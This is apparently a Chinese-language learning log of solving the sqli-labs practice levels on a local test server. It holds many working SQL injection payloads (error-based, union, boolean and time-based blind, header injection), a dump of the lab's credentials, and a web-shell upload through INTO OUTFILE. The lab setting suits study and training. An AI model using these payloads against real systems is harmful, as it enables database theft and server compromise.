下载路径:https://www.hibugs.net/hi-resource/sqli-labs-master.zip
下载后解压复制到www目录,然后进入sql-connections
sql注入加单引号的缘由是为了让sql语句产生毛病,从而得知其有无过滤措施,例如:
一开始SQL语句是这样的:
select * from users where id=‘1’
当你加了单引号后变成了这样:
select * from users where id=‘1’’
这样是不符合sql语法规则的,因此会报错,若没报错,说明有多是被过滤掉或有其他防护手段。
接下来尝试让它报错,加个引号试下
发现14在错误信息里一起出来了
接下来先学习一个报错注入函数
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
显然把用户名和~连接起来了
select updatexml(1,concat(0x7e,(SELECT user())),0x7e);
报错说明是参数2出现xpath注入,而且把数据库名也带在报错信息里了,因此我们可以利用这个漏洞进行注入
接下来继续学习一个方法,union
union会自动压缩多个结果集合中重复的结果,使结果不会有重复行,union all 会将所有的结果共全部显示出来,不管是不是重复。
union:会对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序。
如果要合并两个结果集,那么他们的列数必须相同
而select updatexml(1,concat(0x7e,(SELECT user())),0x7e)的结果是一行一列
而http://127.0.0.1:9009/Less-1/?id=14’的结果也是一行一列,因此可以合并
合并后应该是2行一列,把结果二放在最后一行
使用联合注入的方法居然出来了
1’ union select updatexml(1,concat(0x7e,(SELECT user())),0x7e)’
可以发现不管是在前面还是后面,都是抛出同样的错误,说明只要有报错,就直接抛出报错信息,不合并
先这样猜想,后面再验证下是不是
现在我们拿到了当前数据库名,接下来我们需要这个数据库里有哪些表
SELECT table_name FROM information_schema.tables WHERE table_schema = ‘security’;
使用information_schema可以查询到指定数据库有哪些表
GROUP_CONCAT函数可以将多行结果集拼接成一个字符串
现在我们把这个方法用到靶场里
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’;
14’ union select 1,2,updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’)),0x7e)’
加入1,2是为了凑显示位,以后可以用这种方法找出需要的列数
执行成功了
但是发现这里表名显示不全,估计是因为updatexml的原因,看下能否不用它显示出来
-1’ union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ ’
h.id=-1
把 id修改成-1说明左边的结果查不到,然后腾出显示位给右边的结果集
接下来呢,我们当然要看user里的数据,在此之前我们先找出user里有哪些列名
select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”;
-1’ union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”’
i.–+
–+把后面的 ’ LIMIT 0,1 给注释掉了
-1’ union select 1,2, group_concat(username, ‘:’, password) from users --+
这一关和第一关几乎一样,只是需要把单引号去掉
获取数据库名
1 union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
获取表名
-1 union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
获取列名
-1 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
获取用户名密码
-1%20 union select%20 1,2, group_concat(username, ‘:’, password) from users --+
在我们可控的输入部分加一些符号,查看页面是否正常
www.example.com/index.php?id=1,这里的id变量是用户可控的
如何判断是否存在sql注入?
“加引号”法 无论字符型还是整型都会因为单引号个数不匹配而报错
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入。)
直接加’说明存在注入点
方法1:
id=1 order by 9999 --+
如果正确返回页面,则为字符型
否则,为数字型
字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。
方法2:
url中输入?id=1 and 1=1 页面依旧正常运行,继续下一步
url中输入?id=1 and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
方法3:
url中输入1’ and ‘1’ = ‘1,页面运行正常,继续进行下一步。
url中继续输入1’ and ‘1’ = '2,页面运行错误,则说明此 Sql 注入为字符型注入。
单引号/双引号,注释
数字型的注入,不需要闭合就可以直接进行注入。(如果系统做了数字型传入的判断,就防止注入)如上面的第2关
字符型的注入,$id多为字符型输入,需要进行闭合
注释–+的目的:为了过滤掉多余的字符不让它影响我们构造的sql语句执行
通过闭合跟注释,构造出了一段空区域,这段空白区域可以由我们自己构造注入语句去代入到数据库执行。(查询数据库,表,字段)
方法1
order by n 排序
www.example.com/index.php?id=1’ order by n –
如果说n=3的时候页面正常,n=4的时候页面显示不正常,则可以判断出3个字段。
方法2
通过联合查询的方式判断哪些是显示字段
www.example.com/index.php?id=0’ union select 1,2,3 #
通过报错分析过滤点
#猜测试sql语句
select Login_name,Password from table_name where id = (‘ID’) limit 0,1;
第三关猜测id那里被加了(“id”),尝试添加)闭合
1 ') union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
获取数据库名(记住字符型后面需加注释–+)
获取表名
-1’) union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ --+
获取列名
-1’) union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” --+
获取用户名密码
-1’) union select%20 1,2, group_concat(username, ‘:’, password) from users --+
结合上题的经验
获取数据库名
1 ") union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
获取表名
-1") union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ --+
获取列名
-1") union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” --+
获取用户名密码
-1") union select%20 1,2, group_concat(username, ‘:’, password) from users --+
获取数据库名
1’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
但是获取表名时没有显示位
-1’ union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
当我们输入id=1 和id=15时页面返回You are in和不返回的提示,我们得到的信息很少。这和之前的联合注入有很大的不同。
$username = $_POST['username'];
$password = md5($_POST['password']);
//准备sql查询
$sql = "select * from users where username='{$username}' and password='{$password}' limit 0,1";
//执行sql
$result = mysql_query($sql);
//取得一行结果
$row = mysql_fetch_array();
if(empty($row)){
echo "用户名或密码不存在";
}else{
echo "登录成功";
}
上面不会显示结果,但是只有两种状态,就是成功和失败。这们通过这种两种状态来进行获取数据库内容的方试就叫bool注入
如以下的验证方式,正常通过是这样的
而bool条件中有一个为假则不返回
接下来我们需要用到一个工具来对付bool盲注,就是sqlmap
先看下怎么安装
下载路径 https://sqlmap.org/
然后cmd下执行命令
python sqlmap.py http://127.0.0.1:9009/Less-5/?id=14 --current-db --dump --batch开始渗透
发现已经可以全部查出来了
现在我们不使用工具,只是单纯使用url和sql语句,看能否爆出数据
我们知道原先数据库里有12个数据库
那么我们怎么知道当前用的是哪个数据库,以及数据库长度,数据库名称呢
我们知道sql里可以这样查出来
那么怎么在url里盲注验证这个结果呢
通过以下方法逐个试出数据长度
id=14’ and length(database())=8 --+
知道了长度有啥用呢,再猜下数据库首字母吧
这里我们需要学习一个新的函数,substr
作用是:从一个内容中,按照指定条件,「截取」一个字符串。这个内容可以是数值或字符串。
用法:substr(obj,start,length)注意start是从1开始,不是从0
所以我们用这个方法获得数据库首字母
14’ and substr(database(), 1, 1)=‘s’ --+
通过这个方法我们得知数据库第一个字母是s
当然我们还可以继续试第二个字母,第三个字母…,直到把8个字母全部试出来
通过上面逐个字母的测试,我们终于知道了数据库名称是security
但是这种方法是不是觉得有点笨,有没有循环试错的方法呢
有的,这是我写的存储过程
delimiter // #定义标识符为双斜杠
drop procedure if exists test; #如果存在test存储过程则删除
create procedure test() #创建无参存储过程,名称为test
begin
declare i int;
declare j int;
declare name VARCHAR(255);
set j = 1;
set name = "";
while j <= 8 do
set i = 0;
while i < 26 do #结束循环的条件: 当i大于26时跳出while循环
if(substr(database(), j, 1)=CHAR(ascii('a')+i)) THEN
set name = concat(name, CHAR(ascii('a')+i));
select name, CHAR(ascii('a')+i);
END IF;
set i = i + 1;
end while;
set j = j + 1;
end while; #结束while循环
select * from test;
SELECT name;
end
// #结束定义语句
delimiter ;
call test();
你看,是不是一次性全都查出来了但是怎么让它在页面里执行呢,感觉有点难度
接下来我们需要用同样的方法爆出表长度,表名称
首先还是猜出长度,经验是可以先使用>,<之类的先圈定范围,然后再使用=,其实后面的字母枚举也可以用这种方法
14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
知道了长度接下来就是爆出这段字符串了
14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), 1, 1)=‘e’ --+
http://127.0.0.1:9009/Less-5/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), 2, 1)=‘m’ --+
后面的操作都一样的,在此不加赘述
比如我们需要知道users这个表里有哪些列
那么用盲注的方法该怎么拿到呢
一样的逻辑,先爆出长度
14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
然后逐个猜出字符
14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 1, 1)=‘i’ --+
14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 2, 1)=‘d’ --+
密码里居然有特殊符号,而且这么长,看来不用工具做是不行了
老办法,还是先搞长度
14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
天哪长度188
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
用word算下也确实如此
接下来我打算用第三节自己开发的工具爆破出这一大段文字密码
当个枚举语法是
14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), d 1 , 1 ) = d1, 1)= d1,1)=d2 --+
替换进去,并把长度改成188,运行一下看看
好家伙,uil1.txt就写了1m多,没关系,先看下结果,虽然还没全部跑完,但是前面这几个全都对上了
至此该关卡结束
第6关也是盲注
但是发现一个问题,就是加单引号不管加几个页面都没变化,怀疑是不是有延时盲注
1 " union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
不是时间盲注,只是必须id那里用双引号而已
14" and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
同样的,用我的工具跑一次
url = "127.0.0.1:9009/Less-6/?id=14\” and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
结果完全正确
14" and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
url = “127.0.0.1:9009/Less-6/?id=14” and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
14" and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
url = “127.0.0.1:9009/Less-6/?id=14” and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
j = ‘a’
fp = open(“url1.txt”, “w”)
#21是目标长度
writeurl(fp, url, “, 1)=”, “–+\n”, 188+1)
显然,全都正确
127.0.0.1:9009/Less-7/?id= 14’ or 1=1 --+
发现id后面加’号界面呈周期性变化,证明存在sql注入
但是or或者and不管是真是假都没用,只看id那里的真假
那么怎么构造轮子呢,这关太恶心了,不单id有两个括号,后面也被加了两个括号
14’)) and length(database())=8–+((
使用order by判断列数14’)) order by 4 --+
这里一直说use outfile是啥意思呢,应该是个新的知识点,只能网上先查下了
网上查了说是可以通过联合注入上传,但是我这边根本上传不了,查了下
show variables like ‘%secure%’;
secure_file_priv NULL说明是禁止上传,怎么改这个设置呢
方法是找到phpstudy安装路径下的这个地方,打开my.ini
如果存在secure_file_priv就将其修改为secure_file_priv=“”
若不存在添加secure_file_priv=""即可
然后重启mysql,再查发现没了
1’)) union select 1,2,“” into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\hyc.php” --+
然后我们再去页面看下能否上传
居然成功了
好,用菜刀连下,居然也成功了,不过这个条件太苛刻了,估计也只有这个例子可用了
1,show variables like ‘%secure%’;用来查看mysql是否有读写文件的权限
2,数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限
3,into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径
继续判断列数1’ group by 3 --+,发现列数为3
期间任何输入输出只有You are in…或空两种情况,说明存在sql盲注可能性
使用14’ and length(database())=8–+获取数据库名称长度时发现id处没有过滤
使用工具爆破下数据库用户名
url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((database()), 1), "
writeurl(fp, url, “, 1)=”, “–+\n”, 8+1)
14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
爆破表名
"127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
发现报错时长度是974,正常时937
那好,现在先看下注入点是否有变化,发现加单引号没任何变化
但是加’)–+后发现有变化了,猜测原id被加了括号,而且是字符型,(‘id’)
用1 order by 9999 --+检测一下确实是字符型
1’ group by 3 --+检验一下列数发现是3列
接下来看看能否获取数据库名称长度
14’ and length(database())=8–+,还真可以,说明是8
看下字母枚举14’ and substr(substr((database()), 1), 1, 1)=‘s’–+,长度响应确实对了,但是页面一直没刷新怎么办呢,不然工具都没法抓数据,或者工具里增加一个功能,获取返回的长度,如果内容没变化就看长度,当然事先需要给工具告知一个正确的长度,这样它知道怎么找
找长度,其实就是提取这个值
所以接口方法应该是类似
def getlength(text, value):
text是html网页内容
value是正确的长度,这里是707
结果是返回正确还是错误长度
工具里增加一个分支,使用该分支爆破结果也出来了
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((database()), 1), "
14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
出现937说明29正确
爆破表名
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
表名也爆破出来了
14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
出现937说明列长度是20
爆破列名
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
出现937说明长度是188
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
完全正确
终于到第10关了,看下这关有什么陷阱
http://127.0.0.1:9009/Less-10/?id=15
和上一关一样的模式?发现正确长度是939
至对”敏感,说明存在注入点
http://127.0.0.1:9009/Less-10/?id=14 “
用1 order by 9999 --+检测一下确实是字符型
1" group by 3 --+检验一下列数发现是3列
1" and length(database())=8–+
说明长度是8
爆破数据库名称,记得要将长度改成709
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((database()), 1), "
14” and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
出现939说明长度是29
表名爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
14” and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
出现939说明正确长度是20
列名爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
14” and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
出现939说明长度是188
表数据爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
前10关终于做完了,告一段落,先总结一下
首先拿到站点,先判断一下是否存在注入,用’之类的方法判断其敏感性,注意有些需要加)之类的闭合,然后看情况换成”
其次用1 order by 9999 --+判断是字符型还是数字型
接着用1’ group by 3 --+判断列数,即显示位
用1’ and length(database())=8–+判断数据库名称长度
用id=14’ and substr(substr((database()), 1), "爆破数据库名
用id=14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
判断表名长度
用id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), " 爆破表名
用14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
判断列名长度
用id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "爆破列名
用14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
判断表数据长度
用id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "爆破数据
显然这关不能再在url里注入了,怎么输都没变化
那么看来只能从输入框注入了
用1 order by 9999 --+分别检测一下确实都是字符型
用户框输入
1’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
密码框输入’ 1
看来这个不是盲注了
用户框输入,同时通过select 1,2之类的尝试测试出显示位
1’ union select 1, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
密码框输入’1,前面的单引号起到和前面闭合的作用
表名没输出来,但是提示登录成功了,啥情况,猜测这里还是只能用报错注入updatexml
用户名输入
1’ union select 1, updatexml(1, (select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ ), 0x7e)
密码还是’1
结果出来了,但是显示不全,看来用updatexml就是有这个毛病
查下updatexml有没有完整输出的方法
用户名
1’ union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
这样居然全都拿到了
其实还有一个逐个提取分页显示的方法
用户名输入
1’ union select 1, updatexml(1, concat(0x7e,(select table_name FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1), 0x7e),1)
然后逐个增加上图0这个数字用于切换行数
这次我们就直接提取了,用户名直接输入
1’ union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
1’ union select 1, updatexml(1, concat(0x7e,(select group_concat(username, ‘:’, password) from users limit 0,1),0x7e), 0x7e)
看来还是得分页提取
用户名输入
1’ union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)
然后我们用获取到的这第11个用户名密码登录下,发现登录成功了,ok,本关结束
1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
但是报错了
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)") and password=(’ at line 1
通过这个报错信息我们能发现什么呢,猜测传进去的数值应该都被括号()包裹起来了
先试下用户名输入1" ) --+(,密码输入”发现没报错,然后再试
1" ) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
说明下,这里第一个)起到闭合用户名的作用,第二个(闭合密码,然后中间空出来的这段就留给我们注入了
知道了轮子(结构),试下看下能否直接替换
用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+(
用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)–+(
用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)–+(
1" ) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 12,1), 0x7e),1)–+(
Ok,这关结束
接下来测试轮子
用户名输入1’) --+(,密码输入’发现没有报错,猜测这就是轮子
在轮子的基础上用户名输入
1’) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+(
在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+(
在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1) --+(
发现这里拿到的用户名每个都可以登录,应该改成特定关卡用特定用户名密码才对
这个不会这么简单吧,直接就让我找到了,轮子:1" --+
在轮子的基础上用户名输入
1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+
在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+
在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1) --+
15关看来是盲注无疑了,界面上测什么都没有响应,只有输入正确的bool语句才行
但是在输入框里做盲注怎么测呢
网上查了下资料说这关需要用到时间盲注了,终于用到了,可是怎么用呢,用户名里输入
1’ and if(1=2, 1, ,sleep(1))
可是怎么测试也不行,这里根本看不到有延时的样子,咋回事呢
但是发现下面这种情况有延时
admin’ and sleep(0.5)#
用户名输入
admin’ and if(1=1, sleep(0.5), 1)#,密码1
admin’ and if(1=2, sleep(0.5), 1)#,密码1
故该轮子可用,以延时时间作为正确与否的判断依据
在轮子的基础上用户名输入
admin’ and if(length(database())=8, sleep(1), 1)#
admin’ and if(length(database())=7, sleep(1), 1)#
说明数据库长度是8
用户名输入
admin’ and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#
说明第一个字母是s
但是接下来怎么办呢,一个一个字母试吗,效率太低了,工具能获得时间吗,只能试下了
我们先用burp试下
比如以
admin’ and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#为例
抓包拦截,将其发送到Intruder,先设置’s’这个参数
字典里包括一些常见的特殊字符
Option里重定向选always
资源池resource pool设置单线程
然后开始attack,如果正确的话应该能发现最长响应时间是’s’
看响应时间记得勾选这个completed
比如第二个字母应该是e,现在可以得出一个结论,burp里正确的length发现都是1677可以据此找出是否找到
第二个和之前设的一样,还是自定义字符,这是爆破结果,如果发现顺序有点不一样,先点下payload1,再点下点Length就行
好了,至此burp也可以用以实战了
在轮子的基础上用户名输入
admin’ and if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29, sleep(1), 1)#
而用admin’ and if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =28, sleep(1), 1)#
说明表长度是29
在轮子的基础上用户名输入
admin’ and if(substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
用burp批量爆破下
第一个payload长度记得设置成29,以下是爆破结果
在轮子的基础上用户名输入
admin’ and if(length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20, sleep(1), 1)#
延迟1秒多,说明长度是20
在轮子的基础上用户名输入
admin’ and if(substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
然后用burp批量爆破
f.获取表内数据
在轮子的基础上用户名输入
admin’ and if(length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188, sleep(1), 1)#
延迟1秒多,说明长度是188,当然这个188也可以用爆破获得,以下实操下
可以发现1677的188找到了,确实延迟了1秒多
在轮子的基础上用户名输入
admin’ and if(substr(substr((select group_concat(username, ‘:’, password) from users), 1),1,1) = ‘s’, sleep(1), 1)#
Burp爆破结果
还是时间盲注,但是怎么试不出变化来呢
测试后发现居然会判断用户名是不是存在admin,不存在失败的,这也给了我一个提醒,以后就用admin测试好了
admin") and sleep(1) #
用户名输入
admin") and if(1=1, sleep(1), 1)#,密码1
延迟1秒,轮子可用
在轮子的基础上用户名输入
admin") and if(length(database())=8, sleep(1), 1)#
说明长度是8
用户名输入
admin") and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
在轮子的基础上用户名输入
admin") and if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29, sleep(1), 1)#
说明长度是29
用户名输入
admin") and if(substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
在轮子的基础上用户名输入
admin") and if(length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20, sleep(1), 1)#
说明长度是20
用户名输入
admin") and if(substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
在轮子的基础上用户名输入
admin") and if(length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188, sleep(1), 1)#
说明长度是188
用户名输入
admin") and if(substr(substr((select group_concat(username, ‘:’, password) from users), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
17关看来又有新东西要学了
直接输入admin admin竟然变成改密成功
加单引号,又有报错提示了,但前提条件是需要知道有admin这个用户,先不管那个,后面再研究,先利用报错注入一下
uname=admin&passwd=2’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)–+
发现单纯把上面的poc输到框里是没用的,必须在bp抓包重放里做才行,好吧,也算多学到一招
uname=admin&passwd=2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
uname=admin&passwd=2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+
uname=admin&passwd=2’ and updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)
–+
select (extractvalue(1,concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e)));
查了很多资料后发现居然需要用双层select才行
uname=admin&passwd=2’ and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1) --+&submit=Submit
其中3是密码id
提示说是header注入,难道又需要用到bp
开启拦截看下,UA后面加单引号试下,同时用户名用admin(如果不存在这个用户就不会报错),加2个单引号又正常,加三个再次报错,说明ua这里存在注入
现在开始尝试设计轮子
’ 1=1 #
发现原sql里像是有(v1, v2, v3)的结构,那么是不是要先闭合括号呢
Ua后面加’, 1, 1)#
发现没有报错了,猜想是不是轮子可用
然后对括号里的1替换成updatexml
', updatexml(1,concat(0x7e,(SELECT database())),0x7e), 1)#
', updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e), 1)#
', updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e), 1)#
', updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1), 1)#
到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#
还是一样,需要事先知道一个用户名密码,不然没法报错
这次的注入点是Referer:
那么轮子就是’, 1)#
然后对括号里的1替换成updatexml
', updatexml(1,concat(0x7e,(SELECT database())),0x7e))#
', updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e))#
', updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e))#
